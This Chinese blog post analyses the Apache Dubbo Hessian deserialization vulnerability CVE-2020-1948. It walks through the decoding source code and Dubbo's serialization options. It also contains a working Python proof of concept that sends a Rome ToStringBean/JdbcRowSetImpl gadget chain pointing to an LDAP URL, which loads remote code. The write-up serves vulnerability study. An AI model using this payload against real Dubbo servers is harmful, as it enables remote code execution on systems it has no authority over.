zoukankan      html  css  js  c++  java
  • [CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

    [CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

    简介

    Dubbo 是一款高性能、轻量级的开源 Java RPC 框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

    POC

    https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

    影响版本

    • Dubbo 2.7.0 to 2.7.6
    • Dubbo 2.6.0 to 2.6.7
    • Dubbo all 2.5.x versions (not supported by official team any longer)

    环境搭建

    https://github.com/apache/dubbo-spring-boot-project

    下载 2.7.6 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:

            <dependency>
                     <groupId>com.rometools</groupId>
                     <artifactId>rome</artifactId>
                     <version>1.7.0</version>
             </dependency>
    

    maven 开始运行 springboot。

    漏洞分析

    python 的 poc

    # -*- coding: utf-8 -*-
    #pip3 install dubbo-py
    from dubbo.codec.hessian2 import Decoder,new_object
    from dubbo.client import DubboClient
    
    client = DubboClient('127.0.0.1', 12345)
    
    JdbcRowSetImpl=new_object(
          'com.sun.rowset.JdbcRowSetImpl',
          dataSource="ldap://127.0.0.1:8087/Exploit",
          strMatchColumns=["foo"]
          )
    JdbcRowSetImplClass=new_object(
          'java.lang.Class',
          name="com.sun.rowset.JdbcRowSetImpl",
          )
    toStringBean=new_object(
          'com.rometools.rome.feed.impl.ToStringBean',
          beanClass=JdbcRowSetImplClass,
          obj=JdbcRowSetImpl
          )
    
    resp = client.send_request_and_return_response(
        service_name='cn.rui0',
        method_name='rce',
        args=[toStringBean])
    

    发送 poc

    org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}]
    	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6]
    	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6]
    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
    	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]
    

    根据报错,其实已经把触发的地方暴露了。

    at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]开始跟。

    跟到orgapachedubbo pcprotocoldubboDecodeableRpcInvocation.java139 行, 遇到 in 是 input 的内容,看下这个 readobject 是怎么写的。

    public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

    mH2i.readObject(cls)继续 readobject,mH2i的内容是

        public Object readObject(Class cl)
                throws IOException {
            return readObject(cl, null, null);
        }
    
        @Override
        public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
            if (expectedClass == null || expectedClass == Object.class)
                return readObject();
    
            int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    
            switch (tag) {
                case 'N':
                    return null;
    
                case 'H': {
                    Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
    
                    boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
                    // fix deserialize of short type
                    return reader.readMap(this
                            , keyValuePair ? expectedTypes[0] : null
                            , keyValuePair ? expectedTypes[1] : null);
                }
    
                case 'M': {
                    String type = readType();
    
                    // hessian/3bb3
                    if ("".equals(type)) {
                        Deserializer reader;
                        reader = findSerializerFactory().getDeserializer(expectedClass);
    
                        return reader.readMap(this);
                    } else {
                        Deserializer reader;
                        reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);
    
                        return reader.readMap(this);
                    }
                }
    
                case 'C': {
                    readObjectDefinition(expectedClass);
    
                    return readObject(expectedClass);
                }
    
                case 0x60:
                case 0x61:
                case 0x62:
                case 0x63:
                case 0x64:
                case 0x65:
                case 0x66:
                case 0x67:
                case 0x68:
                case 0x69:
                case 0x6a:
                case 0x6b:
                case 0x6c:
                case 0x6d:
                case 0x6e:
                case 0x6f: {
                    int ref = tag - 0x60;
                    int size = _classDefs.size();
    
                    if (ref < 0 || size <= ref)
                        throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
    
                    ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
    
                    return readObjectInstance(expectedClass, def);
                }
    
                case 'O': {
                    int ref = readInt();
                    int size = _classDefs.size();
    
                    if (ref < 0 || size <= ref)
                        throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
    
                    ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
    
                    return readObjectInstance(expectedClass, def);
                }
    
                case BC_LIST_VARIABLE: {
                    String type = readType();
    
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(type, expectedClass);
    
                    Object v = reader.readList(this, -1);
    
                    return v;
                }
    
                case BC_LIST_FIXED: {
                    String type = readType();
                    int length = readInt();
    
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(type, expectedClass);
    
                    boolean valueType = expectedTypes != null && expectedTypes.length == 1;
    
                    Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
    
                    return v;
                }
    
                case 0x70:
                case 0x71:
                case 0x72:
                case 0x73:
                case 0x74:
                case 0x75:
                case 0x76:
                case 0x77: {
                    int length = tag - 0x70;
    
                    String type = readType();
    
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(null, expectedClass);
    
                    boolean valueType = expectedTypes != null && expectedTypes.length == 1;
    
                    // fix deserialize of short type
                    Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
    
                    return v;
                }
    
                case BC_LIST_VARIABLE_UNTYPED: {
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(null, expectedClass);
    
                    boolean valueType = expectedTypes != null && expectedTypes.length == 1;
    
                    // fix deserialize of short type
                    Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);
    
                    return v;
                }
    
                case BC_LIST_FIXED_UNTYPED: {
                    int length = readInt();
    
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(null, expectedClass);
    
                    boolean valueType = expectedTypes != null && expectedTypes.length == 1;
    
                    // fix deserialize of short type
                    Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
    
                    return v;
                }
    
                case 0x78:
                case 0x79:
                case 0x7a:
                case 0x7b:
                case 0x7c:
                case 0x7d:
                case 0x7e:
                case 0x7f: {
                    int length = tag - 0x78;
    
                    Deserializer reader;
                    reader = findSerializerFactory().getListDeserializer(null, expectedClass);
    
                    boolean valueType = expectedTypes != null && expectedTypes.length == 1;
    
                    // fix deserialize of short type
                    Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
    
                    return v;
                }
    
                case BC_REF: {
                    int ref = readInt();
    
                    return _refs.get(ref);
                }
            }
    
            if (tag >= 0)
                _offset--;
    
            // hessian/3b2i vs hessian/3406
            // return readObject();
            Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);
            return value;
        }
    

    来到comalibabacomcauchohessianioHessian2Input.java 可以看到 class com.rometools.rome.feed.impl.ToStringBean 就是期望类 expectedClass(可以看下 fastjson 期望类),

    第二次循环到class java.lang.Class, 跟到comalibabacomcauchohessianioClassDeserializer.java

        public Object readObject(AbstractHessianInput in, String[] fieldNames)
                throws IOException {
            int ref = in.addRef(null);
    
            String name = null;
    
            for (int i = 0; i < fieldNames.length; i++) {
                if ("name".equals(fieldNames[i]))
                    name = in.readString();
                else
                    in.readObject();
            }
    
            Object value = create(name);
    
            in.setRef(ref, value);
    
            return value;
        }
    

    第三次 comalibabacomcauchohessianioClassDeserializer.java

    dubbo rpc原理

    根本原因我们来学习一下 dubbo RPC 的原理。可以参考这篇文章: https://www.jianshu.com/p/93c00a391e09https://blog.csdn.net/zhuqiuhui/article/details/89463642

    dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:dubbo 协议的 dubbo, hessian2,java,compactedjava,rmi 协议缺省为 java,以及 http 协议的 json 等。

    • dubbo 序列化:阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它
    • hessian2 序列化:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,它是 dubbo RPC 默认启用的序列化方式
    • json 序列化:目前有两种实现,一种是采用的阿里的 fastjson 库,另一种是采用 dubbo 中自己实现的简单 json 库,但其实现都不是特别成熟,而且 json 这种文本序列化性能一般不如上面两种二进制序列化。
    • java 序列化:主要是采用 JDK 自带的 Java 序列化实现,性能很不理想。

    这四种主要序列化方式的性能从上到下依次递减。对于 dubbo RPC 这种追求高性能的远程调用方式来说,实际上只有 1、2 两种高效序列化方式比较般配,而第 1 个 dubbo 序列化由于还不成熟,所以实际只剩下 2 可用,所以 dubbo RPC 默认采用 hessian2 序列化。

    但 hessian 是一个比较老的序列化实现了,而且它是跨语言的,所以不是单独针对 java 进行优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用,其实没有必要采用跨语言的序列化方式(当然肯定也不排斥跨语言的序列化)。

    本文使用 mdnice 排版

  • 相关阅读:
    docker指令汇总
    springboot(八) 嵌入式Servlet容器自动配置原理和容器启动原理
    RabbitMQ 消息确认机制
    RabbitMQ 最常用的三大模式
    RabbitMQ 核心概念
    RabbitMQ 之简单队列
    Spring 详解(三)------- SpringMVC拦截器使用
    slf4j 搭配 log4j2 处理日志
    Spring 详解(二)------- AOP关键概念以及两种实现方式
    Spring 详解(一)------- AOP前序
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13185549.html
Copyright © 2011-2022 走看看